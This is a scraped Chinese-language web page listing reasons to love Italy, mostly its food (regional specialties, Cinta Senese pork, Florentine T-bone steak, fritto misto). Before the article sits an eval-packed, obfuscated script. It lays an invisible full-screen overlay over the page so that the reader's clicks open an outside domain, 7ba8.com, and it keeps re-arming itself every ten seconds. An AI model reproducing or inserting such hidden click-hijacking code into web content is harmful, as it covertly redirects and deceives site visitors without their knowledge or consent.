<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一提到意大利，就会让人浮想联翩，文艺复兴、足球、古罗马竞技场、米兰大教堂、水城威尼斯、各种美食……你想过人们热爱意大利的理由吗？总结了24个爱上意大利的理由，看看你中了哪条的毒？
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1、对配料、手艺和传统规则的无限骄傲实际情况就是这样的，跟什么夸张的烹饪运动都没有关系，虽然你那些无所不知的美食狂人朋友曾煞有介事地告诉你这些运动。2、地方主义至今仍然盛行在波河谷（Po Valley，发源于阿尔卑斯山，在威尼斯入海，是横穿意大利的一条河流）以南的地方，你就别指望把馄饨放到汤里吃了。辣香肠只有在卡拉布里亚（Calabria）能吃到，其他地方想都不要想，它是用独特的传统工艺将生猪肉和红辣椒结合在一起做出来的美味。3、身价不凡的锡耶纳琴塔猪（Cinta Senese pork）这种珍贵的托斯卡尼（Tuscan）品种比你吃到的任何一种猪肉都更可口、更多汁、更肥美，更有特点，是意大利最古老的原生品种之一，甚至比名扬四海的契安尼娜牛（Chianina cattle，是意大利一种古老的役用牛）还要棒。4、米其林星级都是浮云意大利人才不理会什么米其林星级呢，不过他们倒是挺喜欢慢食。 5、罐头鳀鱼（Anchovies）这玩意儿在意大利可不是食之无味、弃之可惜的“鸡肋”，虽然它多数时间扮演的角色是其他鱼类的饵料。 6、意大利味精也就是茴香粉，到市场买上一袋，够用一年的，而且当朋友问起“这是什么味道”的时候，你就可以狡猾地傻笑了。7、佛罗伦萨T骨大牛扒涂满盐、胡椒、橄榄油的T骨牛排，用炭火烤制，可谓牛扒至尊。 8、千万别错过路边小吃车你自以为已经看透了那些路边小吃车了是吧？到任何一个小镇上，站在那些摆着酥脆、喷香的猪肉三明治的车子旁，我看你忍不忍得住。10、正宗炸什锦海鲜（Fritto Misto）所有那些没精打采的炸乌贼都梦想着能有它的风韵。 |
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